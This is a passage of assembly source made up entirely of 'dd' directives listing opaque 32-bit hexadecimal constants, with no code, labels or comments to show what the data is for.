dd 0C25DE963h, 4C463760h, 0E66588E1h, 1579FC21h, 0F9B3A085h
dd 77618470h, 719D5E2Ch, 0E1722FECh, 0CBF351A0h, 39805980h
dd 0EC9BA1C4h, 441C0C1Bh
dd 0CB1258E1h, 0C3C1A32Dh, 0B4DE287Bh, 0EB804700h, 50E32818h
dd 2A9CEBB0h, 92684458h, 0C498EC12h, 0A3FD03FCh, 0FE56A800h
dd 2F28169h, 0C0AA0C27h, 4B7A4B5Bh, 4CCACB6h, 51D115F1h
dd 0F200A2F8h, 0ED1B91D3h, 0FB40AFE9h, 8BE650C0h, 31574114h
dd 0EF493065h, 9F30347Bh, 0B3CF17C0h, 555E2C11h, 9D300B1Bh
dd 5198F811h, 0F4C0FE92h, 849650B0h, 26AB762h, 9E769968h
dd 7254D427h, 4D11FA00h, 0F2A1747Eh, 0E90D8515h, 25EBC7D4h
dd 53F008C7h, 0EF134813h, 4B3016F0h, 85C2B2E5h, 0C42CE828h
dd 78EA702Ch, 9770E9D0h, 5A51807Bh, 0B7E6EEh, 0BE665639h
dd 346D7A41h, 1236EA8h, 0A24326AFh, 818A744Dh, 7B6FC924h
dd 24020E13h, 5F505508h, 68041B64h, 37514F94h, 0D30FE3F8h
dd 0E169953h, 0BCB39735h, 9CAFF54Ah, 6E405BA3h, 0A83C25E9h
dd 0AAEEAD72h, 56699F62h, 9154C6Fh, 2CD64574h, 3AC9E055h
dd 32E40538h, 0C8BD7CE9h, 2FDA4B3h, 1218FEC0h, 0FBE9C423h
dd 2D180BCFh, 0CE097FD9h, 28BC31E7h, 7DE04BD1h, 68070A0Fh
dd 66F52AF7h, 4FD45856h, 0D0712A0h, 7C2B9990h, 0C1591FF6h
dd 0F79307E0h, 833530D3h, 3B125AFEh, 2F405EE9h, 9915A52Dh
dd 0BEF900Ah, 27C53913h, 1FDFF700h, 0F1EC5329h, 19FB4F17h
dd 96596CF0h, 0E8586241h, 496645FFh, 0BB53CFB0h, 3079F109h
dd 4194DA58h, 290B00FEh, 0DB4AE9CEh, 0C9BFEF00h, 9034534Fh
dd 69E10A97h, 10F46762h, 68BC4FFCh, 0CE409741h, 5E7AABF6h
dd 57E3A0F3h, 0D2C37D0Fh, 0D6F33701h, 0AFE5D05Fh, 2DEE45EAh
dd 354CD718h, 0A205D88Ch, 0AD6B6507h, 6B885ADEh, 0A7D12DBAh
dd 0E43CF74Bh, 0E74C552Dh, 54680F12h, 0EE0E6024h, 99F5E2C1h
dd 20C90D00h, 5786301h, 0F0B4BA01h, 2E6EF12Ah, 0DBF16302h
dd 958BDFD2h, 701EBA54h, 64F50762h, 0B4022610h, 5BC0B8B4h
dd 974CB1E8h, 3434A05Fh, 2659519Dh, 0AA2114B8h, 7D89E42Dh
dd 7B9700FFh, 95E69F02h, 0E2200D64h, 8B659FC2h, 96B5F215h
dd 49A13DF9h, 0CB5207E7h, 0CE39E94Bh, 0F5AF4C8h, 58E63059h
dd 0AFC8F52Bh, 0FDBA72EFh, 14D085Eh, 0A9FD3BAEh, 0CF010B8Fh
dd 0D60EFA84h, 0C1293D55h, 0B06EBB9Ah, 12422317h, 6742DFEh
dd 0E92D0BB8h, 5DCE615Bh, 89A756C6h, 0B8574CFBh, 9F5AC5FCh
dd 2C448371h, 0E703CE95h, 0A99F97C1h, 4689CE31h, 3FD97BDAh
dd 0AD95AF4Ah, 0FA0954B3h, 805085C9h, 0CA1AF124h, 9EB80124h
dd 29954764h, 282730E8h, 1ED4E241h, 0C1B8BD4Bh, 7B4B1968h
dd 0FD469537h, 46064431h, 0E648D1E2h, 53925DA2h, 743D01B1h
dd 63E9DA9Dh, 3195126Fh, 7A0C67A9h, 52CA3FB2h, 0FFC13598h
dd 59EC0B81h, 8768F37Eh, 0B9CCB1E9h, 532F00F6h, 410530ABh
dd 2B5E7A15h, 741ADECh, 443D2860h, 0F173F758h, 27C36816h
dd 744571F5h, 4A971704h, 67C28000h, 0E490D520h, 3C03ED40h
dd 4E173862h, 0A46EF895h, 0D209D30Bh, 86DC9560h, 0A7BE011Dh
dd 587FC16Dh, 0CB81F23Fh, 4FB05F52h, 2A0470F5h, 7CBF6812h
dd 79A631ABh, 0C1310190h, 0C423876Eh, 931CEC4Ch, 5B586E04h
dd 27EDBD00h, 314E25C0h, 0E24B95ACh, 6CE9CF51h, 715A3064h
dd 0FAE0BF91h, 9591CEABh, 0EB95F828h, 0F5DA4A93h, 0D2EF329Fh
dd 58B5C1BAh, 0D3A79DB9h, 0E920ACCh, 3AE6BD5Bh, 39886426h
dd 2649DF08h, 35080043h, 7E566748h, 8A0B2DE8h, 0F0C31662h
dd 295F2D05h, 0C02F0ACEh, 2BA5B61h, 2A451AC1h, 841DE35Fh
dd 0B6025254h, 293E8C4Eh, 8D8887Dh, 58138713h, 7C8B2E00h
dd 27E9092Ah, 924CEB0Fh, 23E12F98h, 7C4E1088h, 0D20A554Ch
dd 38FFB2Eh, 470245CBh, 5741FFF5h, 645246BAh, 0E8220C81h
dd 0CDE919ACh, 27297AEFh, 0AC9F36Ah, 0C2D011E9h, 0C3D2EE9Dh
dd 7CFEF4B1h, 88E53EB1h, 583C059h, 7160EF3Ch, 7F5E300Ch
dd 9F1B04Ch, 0F599A9FAh, 998B1709h, 12C8D96h, 4F17BDFBh
dd 1008BC0Ch, 0B8B2B5Fh, 85E905B5h, 0BE89426Dh, 536103DBh
dd 8B73D9E6h, 0B056630Bh, 1733C648h, 0B02EE937h, 66C9438Ah
dd 20BFC601h, 80094EFDh, 455138C3h, 0AE0CB44Ch, 0DD10908Bh
dd 3BB905E3h, 0FBE835Fh, 78C691C5h, 7B794638h, 7F719725h
dd 2C089E08h, 2CD83DDEh, 13489F84h, 85E01CAFh, 0FE5542DAh
dd 0C8CA0B63h, 68594D1Fh, 0E634A49h, 57FEF187h, 0D3A9E968h
dd 27CE7E08h, 1520D9DAh, 0A5B84E87h, 0FD6B5570h, 0EB313584h
dd 268A3980h, 208798BAh, 95B24C2Bh, 0FE94B6F0h, 87E4680Dh
dd 9754CAE8h, 0DEAFA859h, 29D9AF20h, 7429556Bh, 0CBE1566h
dd 0A114D77Ah, 946EE915h, 0BE7376D9h, 0A8A1C17Eh, 2E9825B9h
dd 44EF3164h, 1DB655AEh, 76A6801h, 16B1087h, 3B0520B6h
dd 0F5C02B34h, 0C3FBB5E9h, 505D542Bh, 0F7564ACAh, 425DFCF2h
dd 9A825E54h, 0FF7A631Eh, 5447B025h, 9C55EB27h, 2AE916DBh
dd 6CB22986h, 61FAD348h, 17CEC1B7h, 0E7AADF6Bh, 7AC1658h
dd 0CF012A64h, 6BD1F7ADh, 40E73AB0h, 522D6877h, 23749841h
dd 2A740A39h, 884EFC1h, 5B0BF902h, 9A27551h, 3B5FE01Fh
dd 0F0FCD9CFh, 2EE7A76Fh, 30427E10h, 43E6F147h, 970BAA67h
dd 51248068h, 45382E2h, 535478FBh, 0FA092228h, 5862886Eh
dd 8929586Eh, 0ABA0CB17h, 0A87C7838h, 80B3A4FAh, 0B02E7BB5h
dd 0CB3F7B6Eh, 64E7A0ACh, 78B2BAC3h, 5D9F3C9h, 20FB8746h
dd 0C09EA23Fh, 88FD5969h, 290946B2h, 2043ECC8h, 81004DEDh
dd 0D00DCDF2h, 5D3216Fh, 6EBC15Ah, 92D98243h, 90F25BECh
dd 0BF0474BAh, 0A888B031h, 0AE2A16BBh, 80BC0375h, 4120680Bh
dd 8FC1DE1Bh, 9F346B6Ah, 203EB1AAh, 57829BF5h, 241C11FAh
dd 7A7B050Bh, 0E370F0Bh, 6728F54Bh, 2D5D1708h, 2A45FD26h
dd 3D7CC16h, 0EAA0CC94h, 4DCC9D5Dh, 0FE6F100Ah, 0F40ABF35h
dd 5F39F090h, 0C1A3F56h, 65C75FF1h, 729056ADh, 0DF68D418h
dd 0DE735B48h, 2267DB09h, 0D72241h, 6E10BA52h, 4A2CC51Fh
dd 5A074009h, 47424C94h, 47793500h, 5AD63157h, 0B53BD09Dh
dd 85BB6082h, 6A4BB900h, 1605862h, 402C3748h, 79EB0741h
dd 0AF2925F1h, 0D1AF5F12h, 1DB62E5h, 60DDC288h, 2C2F126Ah
dd 0ED0E8178h, 3237B0BAh, 57BB9C85h, 7C1B71A0h, 5BBB0045h
dd 19BA1F5Ah, 0F914C6BEh, 40B7AE28h, 34B5DDE1h, 0EEC70E49h
dd 2743C423h, 2CDE7AB6h, 0F8AB162h, 0E5BE1EF7h, 0B33E907Dh
dd 0A67BE173h, 3E6E52A5h, 0AE39689Dh, 0AA288D00h, 0BCA814Dh
dd 799A3A5Ch, 296009h, 66E0007Dh, 73D78853h, 0F9C14B51h
dd 0A5BC2D8Ah, 0C7FBE3F8h, 3F51E0AEh, 0D548F775h, 13840652h
dd 55E7BCBh, 69AFACEDh, 586AB8ECh, 0E9060404h, 0C6D5558Bh
dd 0E68388EEh, 27524440h, 0FE1DEB6h, 539130F4h, 0F698B700h
dd 80CFFED7h, 88B816F7h, 0C83104FDh, 4DA1478h, 33404D0Ch
dd 1D5A50FCh, 0AACDE93Dh, 34B25185h, 192853Ch, 1903C668h
dd 0C2A6206Ch, 0F7010DCCh, 0B1EF4007h, 0B252CB07h, 80D1FE73h
dd 0C2CC88E2h, 0C50CC857h, 0D1286102h, 4E86C15Ah, 0E90A0696h
dd 4FCA8E37h, 61A3E9D3h, 0F57A2D0Ch, 0F2A63A0Bh, 4AD3F910h
dd 0C89351C1h, 56EDEB81h, 0A68268F4h, 0A64E2DACh, 0F63187DBh
dd 5505591Ah, 5726B390h, 0AE5570C9h, 5D37129Fh, 0CEF2D4C0h
dd 0C19818B5h, 0C14E9602h, 944AA2E9h, 7A0C325h, 617F52E6h
dd 65F5CB87h, 0D6869B94h, 4FA02790h, 4436273Bh, 2F7627FCh
dd 52F6BB94h, 57585CE1h
dd 6BEB6085h, 47C704E4h, 2CFE17FDh, 7BB553BCh, 7AD9E266h
dd 0D8DD5B07h, 66802C6Eh, 87C59BDh, 1828439Ah, 0E448F32Fh
dd 0B9F673EDh, 0BF5C9223h, 2EE9FB60h, 0CF575CC7h, 872CDF20h
dd 709E5F7h, 0D993804Fh, 265B4BABh, 1716FA01h, 92EDECF1h
dd 0C1C07BB8h, 6292656Ch, 41F6294Dh, 0B8133B08h, 0ADF3FD71h
dd 70FCBB01h, 0E3A8FD33h, 1940A068h, 0A7A825E9h, 0B462AF74h
dd 5BA005Ah, 3473BF09h, 6CB86290h, 0D8278D05h, 0C380417Bh
dd 981548C8h, 5EF130BDh, 325A7E20h, 0E885AC4Ah, 0B8ED5604h
dd 0C1E95309h, 1279725Dh, 75A5EA81h, 7E720E6Fh, 0E4C00370h
dd 0D1C4FE08h, 983F4C23h, 0F54A7CE3h, 0E4D324ACh, 15E88E9h
dd 0F4102DF6h, 0EE871397h, 0B80F4E8h, 1E85CE1h, 5BB09097h
dd 0B5518093h, 0ED80CB0Fh, 5E466BAAh, 50F382EAh, 84FD9A60h
dd 75AE5D81h, 3213EFBFh, 89174FB9h, 0B22964CAh, 0B90FC4ABh
dd 0DB13AA17h, 4269ECC1h, 7D89C210h, 2958381Dh, 8489559Fh
dd 0CC28C85Ah, 0ED0202Ah, 8F131505h, 1381432Eh, 29018D4Fh
dd 0F89E43D1h, 0B6EC655Bh, 6187240Fh, 2768FE86h, 3BA85897h
dd 845FF4EEh, 47EB192h, 88DB2108h, 11217A60h, 5E025643h
dd 486BCA90h, 5DEB21C6h, 0AEAF4810h, 0D68F698h, 2CB7B4Fh
dd 0E9164296h, 8793A4ADh, 4E7940A0h, 0AC0B54B0h, 7845255Eh
dd 42AFC9Eh, 89E3FC74h, 0E72B80D7h, 1D1665BFh, 3AB84F64h
dd 6728002h, 0B760891Fh, 58C982C5h, 83520958h, 0B4EA08B9h
dd 0FC25BCF8h, 66EFEADCh, 9EDF58E0h, 0E21608B7h, 66B4C58Fh
dd 5AB0532Eh, 0CC228C6h, 633C3A81h, 4038B65Bh, 0B3805594h
dd 0D3F600FDh, 0C057E380h, 515E06EBh, 0E9216CCBh, 0AF53A7AFh
dd 0DA3438BDh, 762C3CD8h, 90064A92h, 99413399h, 0E6C12512h
dd 82CE8307h, 5348A7A1h, 19F42080h, 0E6D1793Fh, 2C854BBEh
dd 8B054D6Ah, 5F24F2C0h, 3F84AE94h, 0F1F6E691h, 96CCC724h
dd 47378B47h, 0FC8B6C59h, 69497CC5h, 0F82E394Ch, 50606F44h
dd 0C6BD7B8h, 0D9BE046Ah, 4BF290Bh, 0D4AEEDCDh, 0BD5AC29Eh
dd 9EC2B4F4h, 0C14F2278h, 0E5692075h, 63EF338Eh, 40B5C74h
dd 0B43529C0h, 7B061102h, 7F39E940h, 47F6A5A1h, 6E043EC0h
dd 0BD52684Ch, 16E548D1h, 0EDA2909Eh, 0E537FA4Ah, 686B56F2h
dd 505D55BDh, 40A980F7h, 7A950587h, 6B0A946Bh, 0D658E276h
dd 26880AAh, 208D5D4Ah, 99DA1C2h, 113D1C77h, 95612D1Ah
dd 44B72FCh, 7EC68F8h, 0B8CBF3C4h, 584DA115h, 63970305h
dd 2C3A4874h, 0BBD401Fh, 46DF201Ah, 7161D80h, 0A1B835F0h
dd 0CFB7434Bh, 3C7F5C25h, 0C0E95175h, 0CADBB23Bh, 3D0FCF51h
dd 48124571h, 0D045D2BAh, 2AC1CE1h, 497A7453h, 5F147D8Ch
dd 78FC294Ah, 7488EBB4h, 0FC212FE9h, 9D897879h, 4644558Dh
dd 0CF1D689Fh, 563C146Dh, 0CD84995Ah, 0E2E74158h, 4FC1B50Ah
dd 0AE587A28h, 0D1DFEC3Fh, 2D5EF7D5h, 25C5D4F8h, 66DE74D6h
dd 9DC07D02h, 575B5453h, 6795FA56h, 74DF979Eh, 9990AE10h
dd 0F2DAF658h, 8DE76038h, 80F484C5h, 0EA89EB12h, 0CAB0F7E8h
dd 66F23759h, 2A50574Ch, 6CBDE730h, 5EF018EEh, 6FA0CC51h
dd 0E9427D0Dh, 0CAA0B10Ah, 0C2C083AEh, 4E6800B1h, 2228B33Ah
dd 0E548C15Bh, 0E153CFDCh, 414B076Fh, 0CEBC6E30h, 0A6E5EE1Dh
dd 8492F998h, 0AC0BD7B9h, 0EB8505F7h, 7F4704ABh, 0E4EA993Fh
dd 0DEA663EFh, 0FBCB2797h, 2BD244D4h, 151EF75Bh, 4EE9F626h
dd 93A81649h, 0FB438D43h, 84E02B4Fh, 0B3E84B21h, 5EE909A7h
dd 0F2905D74h, 751F92EAh, 404CA5A9h, 0B5B91A73h, 899727FAh
dd 0C7590030h, 4FF7630Bh, 588EF83Eh, 0A11E108Dh, 0F8295A03h
dd 0ECE17505h, 0E8B8405Ch, 8001B951h, 0E9068203h, 496E4785h
dd 0F4A7BD53h, 0F2540468h, 3C444FCDh, 8002AD97h, 65E0D1F5h
dd 0E54CC007h, 75B712BAh, 1C4A93ACh, 0E91982A0h, 4E578489h
dd 590BA212h, 0EF562566h, 75B47E31h, 5FEDBA00h, 0C138C32Ch
dd 0C8206005h, 0BF34A104h, 0E104BF12h, 59B89E92h, 5745E8A2h
dd 89ED0597h, 1A845B1h, 0E649F9F6h, 4AE168D0h, 1292CF04h
dd 0CBEEF51Fh, 88A012F2h, 469832EEh, 9746667Fh, 75641340h
dd 3E80244Fh, 9E62E905h, 0BBB702C1h, 282D7F6h, 0FF85C780h
dd 66F7E1E4h, 3010946Ah, 3DF223C2h, 0CE1305Fh, 138350Ch
dd 0E089782Fh, 80DBF1FDh, 75621268h, 0D5EE1C3Dh, 12C62ECh
dd 9F1071CAh, 2CF75926h, 77B86009h, 43090906h, 55959AE9h
dd 78ECEE98h, 0F724E87Eh, 0F11A85D1h, 4E055F11h, 6906A1DBh
dd 7502897Fh, 0D389724Dh, 4411546Dh, 4902A089h, 11B7CF6Eh
dd 0ABCD4B7Dh, 0F6F2A934h, 663C3A98h, 9FCE3080h, 0F0F8AB96h
dd 8522E927h, 0DA074DCCh, 6CC40F1Eh, 0E91AB4AEh, 993F5F35h
dd 9B68BA90h, 1539EC1Eh, 68442958h, 3CA8E982h, 1766E490h
dd 0D04EEE25h, 80E6403Ch, 679808F2h, 2C5C29C2h, 0AD0E5784h
dd 0E6B10992h, 0B0500C00h, 3320E987h, 12B21583h, 310F128h
dd 0ACB84B99h, 0A396F28h, 0A67C9BF5h, 572C1281h, 0F04AF8A4h
dd 0C0F6B5E9h, 2C1FC639h, 6ABF18C9h, 5E080D36h, 88FEF1E6h
dd 1E3DE3A9h, 60172C77h, 0A95F0F82h, 4E3FF4CEh, 5B3D7EC8h
dd 2883FBCh, 59CAB5BFh, 858B4DF8h, 71A6DD6h, 9382FDD1h
dd 31028C75h, 99BAC1E8h, 9DCDB23Eh, 3BEA2E62h, 0D8BD584Dh
dd 0FD3035CEh, 0C08425B4h, 3320B4AAh, 1236C848h, 68FAD001h
dd 0B26A28BEh, 0CEC7A49Bh, 54C8E2D2h, 2AFDC2E7h, 40629F7Eh
dd 64337E6Ch, 3C98BB5Fh, 0C9565BE5h, 13492DE9h, 6E96DAEh
dd 5C1788Ch, 20253E09h, 0DE3A0514h, 4F19D1D8h, 6BDF49A5h
dd 605206E1h, 6D5FB6AEh, 6BA50B30h, 1F359835h, 0D37510F7h
dd 6AA7F14Ah, 32B914B4h, 0DA16581Eh, 0EDF16BCAh, 181944A6h
dd 0DA34666Fh, 869F56A7h, 0ED96512Dh, 0E986EF42h, 585CC9AFh
dd 0D0C61737h, 41DDF9D0h, 0E86E5A07h, 0E6F34EF2h, 477A6D25h
dd 0E834FD98h, 0EE80EF7Ah, 0D05B7B58h, 0C22093B1h, 0CD0C5D66h
dd 9FB23829h, 0FC10AC49h, 16B576CAh, 0B1CB2793h, 0E309F35Eh
dd 0D3B66327h, 6A443DBEh, 87B0EA9Fh, 6DD044C2h, 0D98E310Ah
dd 11B105BEh, 530C8240h, 81170093h, 0AE3578E7h, 0E8B0475Eh
dd 0E23112E5h, 31E17D9Bh, 0DFC72EA2h, 6055010Ah, 61649DCh
dd 15BFB81Dh, 1003DA0Ch, 0FDB440CAh, 0ED089262h, 768C0249h
dd 733BC303h, 3CBE4028h, 1B19DE64h, 87DEA06h, 3310E420h
dd 2520CA04h, 0A82008CEh, 5DD82075h, 206F6020h, 0C4318BB2h
dd 0E1B43867h, 880A1401h, 8984F10h, 203F5EA2h, 0D4103366h
dd 4ECF008h, 2106F27Ah, 4F40E18Ah, 862621Ah, 7602E5ABh
dd 0F07B02DCh, 317F1303h, 5E813930h, 76089530h, 5CC71080h
dd 10823110h, 0B418993Eh, 6C8A1061h, 3C3008C4h, 20C3C406h
dd 8E8A531h, 188C2432h, 0F6085633h, 0D318C062h, 35050253h
dd 6D27902h, 6E3111D1h, 1451088Ch, 90063D12h, 0EE893781h
dd 189EE608h, 19817CF0h, 0B3AEB851h, 2B09B01h, 86F4A3C4h
dd 8E29206Bh, 7AE9BC66h, 883F3141h, 3A3A928h, 22416C81h
dd 87406818h, 103F65D4h, 0C6C04670h, 0FA201045h, 0EE9208Ah
dd 20E25320h, 2931931Bh, 25990880h, 9CB94E01h, 873CE20h
dd 0E2491B57h, 0AAEB0874h, 8D281818h, 81B54C08h, 332043FCh
dd 0DED30819h, 7B010789h, 984901E7h, 9F728D01h, 32E07508h
dd 0FF20A67Fh, 62130848h
dd 94AC18C4h, 6FB1A04h, 31089742h, 2F206503h, 395B01EDh
dd 1F7A108Ch, 0D7641108h, 0EA1CE351h, 6F3A20E0h, 18C986EEh
dd 2D5422F9h, 0EBDA0275h, 0DC4CF305h, 0A85F4173h, 0C492138Ch
dd 6DB4328h, 40F12D6Ch, 8949CA79h, 201120C4h, 5D20209Eh
dd 99036F7Ch, 0C21089CCh, 40F6D540h, 6A6EC802h, 841290D1h
dd 0F490516Eh, 0F559BC31h, 1C1092C9h, 0B018884Ah, 6D89A199h
dd 63C0D188h, 8BC4608h, 4208B262h, 570409A3h, 6608024h
dd 26104E18h, 991488C8h, 52811866h, 106A2B80h, 2018E78Ch
dd 40F89040h, 0C56601ECh, 63992208h, 4C641123h, 8046302Ah
dd 37177A20h, 74087BFAh, 33C0458h, 285B4F06h, 0F3B49754h
dd 3608AE62h, 9C6000CAh, 0A499E8FCh, 0CF19402Dh, 8B1EC746h
dd 0E7468EC7h, 3B001043h, 2752C47h, 0C68913EBh, 3DA7B90Eh
dd 10005F4h, 49408F44h, 1775C90Bh, 1D748BF7h, 3DE0413h
dd 0DA4AEF0h, 0CC07833h, 304FB10Fh, 405AC2Ch, 92B5516Ch
dd 74E9CF90h, 0DBBF8021h, 257CABEAh, 200464B5h, 619817D6h
dd 8742C303h, 0E9F82144h, 6A8E3BA0h, 17E4FC88h, 2D9F46Dh
dd 0EBD7D98Bh, 0B377772Fh, 0A15E1BFDh, 0FB84D4ADh, 0BE563068h
dd 0B74D0208h, 0C327E918h, 88415456h, 62EC50CFh, 293B9D3Eh
dd 0AD2EC0D9h, 1290B16h, 7239E0B8h, 277EF660h, 0CDB0151h
dd 8273FC26h, 403259D8h, 0B4505266h, 0ACB86D73h, 12728820h
dd 0ED8435E9h, 0D012DC27h, 0A41ACCBAh, 3FA62070h, 0BCBE8C3h
dd 0B99C02E0h, 195E7CDBh, 0BC20D17Eh, 0A4229517h, 0CF691606h
dd 80CB0C37h, 7C06E0EBh, 82E9C1C7h, 7BDFB4Ch, 52727529h
dd 2DD561BEh, 0F8063BE6h, 52490ACh, 4D44E305h, 7D3AEC4Bh
dd 0C6496C2Dh, 270E9658h, 0DAE2B3DCh, 0D5AE0EFEh, 5F70AAB7h
dd 97F6C3B4h, 813F5FC1h, 1F83CDEDh, 0EDD8389Dh, 0FD9F17AFh
dd 583DE839h, 71CA05D9h, 0C5C256B2h, 5BCF8050h, 97FEF580h
dd 4B042403h, 0D32CC8A9h, 0E4CD9AB3h, 745F0624h, 8EC664E8h
dd 0C704756Bh, 638A7EB2h, 198ED4EEh, 0EC741C08h, 5B4A0C20h
dd 0F1A54929h, 9BA4FFA3h, 54514B80h, 39FE594Bh, 12D2ACBh
dd 7CF442Eh, 447C1452h, 0E65ED1BDh, 65A7A820h, 10A76CBh
dd 0F1E853F6h, 3FF5297Ch, 33971D01h, 7A824B69h, 13E83531h
dd 0CA2A6855h, 4059BFDEh, 0C062399Fh, 0A4B850C8h, 25E4806Ah
dd 0AC1C7F00h, 47BB5316h, 0B5EC2595h, 2D12D254h, 1CAE4BAAh
dd 973834DDh, 52C26A76h, 9A187FDBh, 7F8B317Ah, 7EB60220h
dd 12BCCE9h, 0E4C74849h, 0E4F66F02h, 312C92EDh, 1190CDEEh
dd 3C7B19E2h, 32B38655h, 44E3A042h, 34743D2Eh, 6E4241FAh
dd 4B7178D8h, 1092A3DEh, 8107065Ch, 244C55C5h, 15418069h
dd 5D02DD36h, 49A9E95Eh, 0BCC6401h, 3E2F6AFDh, 0DBDBA361h
dd 2BC24103h, 0EB75BC4Fh, 82AC7EAh, 0C1E4224h, 79B057E7h
dd 3DC18C71h, 887364C6h, 6BCF807Ah, 87BDDC7Ch, 0DB0C8BD7h
dd 0B211E14h, 0F7E0CE48h, 1EFF4A10h, 445193F6h, 81AD66A3h
dd 0AD92CE93h, 755E9210h, 4ED91C0Bh, 81945725h, 76F2C920h
dd 9F1245Ch, 38CF6F15h, 8556105Ah, 97DD66C9h, 0B120A5F0h
dd 2463F81Dh, 4C603Fh, 404E49C7h, 8328E93Ah, 0EC958612h
dd 7C6A273Fh, 0F020C769h, 11FDFF7h, 878E52FBh, 88AFD211h
dd 7F3D2D23h, 1444BE5Eh, 4F0705C8h, 6CA63CF9h, 72CA819Fh
dd 0EC2E282Ch, 47B304CBh, 0F3822529h, 5E0785EBh, 3FB18BEBh
dd 7D1392E6h, 2A1CB400h, 4A31AB19h, 0C32FA1CBh, 2958E8C8h
dd 8698D05Fh, 0FFFFA206h, 6755323Ah, 0FF5C92DBh, 66996020h
dd 4A1F7648h, 2F5DB05Ah, 0E60DD709h, 48BCD631h, 0B53B0A92h
dd 0C24342DDh, 0E8A17709h, 808A32CFh, 0D219C340h, 60890E2Ah
dd 0BCE1F4D9h, 744B8F1Ch, 0A0A442AAh, 0CE413370h, 0CBA0EA57h
dd 0C01282E6h, 0EE1F1376h, 26D730F5h, 0EAD46DA1h, 0BA28C04Fh
dd 68AC4E35h, 9BD50BFh, 71A1355h, 5B66A4F7h, 0C0BA294h
dd 2FDB5A5Ah, 3FDEED79h, 985BDE50h, 11B20B52h, 17D87AAFh
dd 50FE914h, 58880117h, 0DD010EC8h, 0FE506097h, 0EB78E829h
dd 0AA94B784h, 60BF81E4h, 0C7C5E175h, 737BC30Ch, 94D25924h
dd 0C40280B4h, 80B56E0Dh, 32F6CF8Fh, 0AD304E97h, 99058ACh
dd 142126h, 6BE3E174h, 0DE0E9522h, 398C66Ah, 328D0AC1h
dd 2E0380B7h, 0BD937F55h, 0B363A08Ch, 4F88A0FDh, 5AF9BD51h
dd 0AC3DF9C9h, 0A77A2C56h, 5319DBF6h, 580319E2h, 175DAE06h
dd 0C9C7D10h, 374D274Eh, 7B1944B4h, 6C60AFCh, 0EC04F7FCh
dd 0C4125A10h, 0B82283C2h, 3F9048h, 0D6F629B6h, 0E2C0C680h
dd 0E9030CE6h, 0B96A9D94h, 55C3680Fh, 7DF746A5h, 3580415h
dd 0EA09672Dh, 6C285241h, 0B7401042h, 98975D85h, 4F509596h
dd 565A0880h, 91049BB8h, 5B69AA1Fh, 3198C0ABh, 60486ACh
dd 30E9DE89h, 8AC1D7FEh, 25A38884h, 63A7DE2Dh, 0C0501981h
dd 711209FCh, 6500260Ch, 61DA0A18h, 501E25E9h, 6A623AD4h
dd 0F42D2F9h, 50A57C5Ch, 0BB79DD64h, 84EDA9DDh, 0BEF4842Eh
dd 0E98321A6h, 161D7AF6h, 0BBCBC209h, 0C0EE94B5h, 0C978056Ch
dd 0F7510158h, 850804D5h, 8838A5DDh, 4EC3478Ah, 81744BC4h
dd 25F45AC4h, 10C0621Eh, 0AC4EFA1Ah, 35FB31B3h, 0D93A02C2h
dd 0B49EFC13h, 65E912D7h, 0EFAA089Fh, 0C979DC2Dh, 41426C2Bh
dd 0AC4D1555h, 6B406771h, 7580F551h, 0E9416178h, 0D3335110h
dd 0C08BB72Eh, 9E685753h, 1A452407h, 39041BBAh, 9471BDB0h
dd 6BF43D7Bh, 1B58E388h, 8E76866h, 2AB2790Eh, 3A1AADE9h
dd 2AD9DF7Ch, 0A1F97DADh, 896AF971h, 8BAD607Fh, 2DC440h
dd 74800CBFh, 915EC0Dh, 68512705h, 0F3B36F83h, 0D04E8712h
dd 5B29C1EFh, 51EE1B1Eh, 8BFC5917h, 6171FBB0h, 0C0E93F15h
dd 4AC4AF0h, 1F1C772Ch, 3291082Dh, 7215C13h, 0EB05EC50h
dd 94A9D713h, 1FEAC280h, 0E914146Eh, 25812AD0h, 22325D31h
dd 0E93418F5h, 0EDB64A16h, 5BEBB305h, 30EEFCB5h, 81020607h
dd 140409F3h, 895DA8E0h, 55897570h, 12576028h, 0EE881C5Ah
dd 50624070h, 213E2B1Fh, 407DAFD3h, 249141AEh, 1264D8F7h
dd 0C155313Bh, 3D0560EAh, 9CA0269h, 5C838598h, 1A02CEEAh
dd 54BEC520h, 25E90457h, 174FAB8h, 2E58F580h, 49E9E270h
dd 0F6038135h, 0FFC280DAh, 0E7296210h, 0F5285A0Fh, 0EA60ED84h
dd 69327B2h, 9C08DACAh, 9D325876h, 0C32118DFh, 0EC80260Ch
dd 225C79F0h, 0E3BAC407h, 830BEBE8h, 0A07D01EAh, 41670EF7h
dd 8E564866h, 0B40D2704h, 0E9B3AE53h, 0A0CDC70Bh, 7D698CD7h
dd 31114062h, 0D8C6CBFBh, 7814A720h, 83A92655h, 0F7F68B72h
dd 6F4791DCh, 31C4D4E1h, 0B02F5261h, 999A4E83h, 0EF18013h
dd 2728C408h, 7C624CF4h, 2F854C0Bh, 0DA7E3FCDh, 0E2CF169h
dd 384BCF88h, 0D00C2B5Bh, 0CBF308Eh, 75A3166h, 540BBA6h
dd 5F57C433h, 9B900D5h, 984B6349h, 3B2C740Dh, 0F10211BCh
dd 23DE13E5h, 6EED1861h, 7F345BCAh, 46CCBEEFh, 836984C5h
dd 0B7675F0Ch, 0A9B86F96h, 2529BD2Ah, 0FC0935A8h, 452AE6F0h
dd 0F82F85A0h, 2EF6E55Fh, 4334054Ah, 0EFE4286Eh, 28840CA2h
dd 68ADF05Bh, 0D34B9B2Fh, 0A1A965AEh, 2FB62F2Dh, 0D02D6912h
dd 0EA48CFBBh, 0EE9B56C5h, 24418ABFh, 0E00B6BBBh, 0E9C9A2BFh
dd 9EE559D5h, 5704954h, 5887E048h, 2907901Dh, 820DEACh
dd 0BC80E917h, 10F85756h
dd 16CA6679h, 0FAB78C37h, 54640820h, 52023BFBh, 8227906Bh
dd 0BBB7FF9h, 4C2D5CDBh, 0E9F80C38h, 250E2D43h, 8E4FB40Fh
dd 23A64C4Bh, 0E616A268h, 212D05D2h, 0AE7BAB66h, 717F384h
dd 683B2CEBh, 2C2F3A20h, 60C890E9h, 18A13D9Dh, 3401F6ECh
dd 0E9473098h, 0FF38E067h, 512BF91h, 8548F602h, 87173A47h
dd 0A99AA8F9h, 427D861h, 0EC5FECBCh, 44A8F5BEh, 1303D82h
dd 0F7819B64h, 0DB4E4F8h, 96E58102h, 0C068A829h, 2FE3CFDDh
dd 1A583CA2h, 451B2D1Eh, 0F00A4BDEh, 0B260705h, 24A85A08h
dd 0F15017CCh, 77E07E06h, 97050407h, 0EBFE8710h, 76E949C0h
dd 0B77CB21Eh, 0FB347EC8h, 1D41895h, 4B3E9A58h, 3BDFCA56h
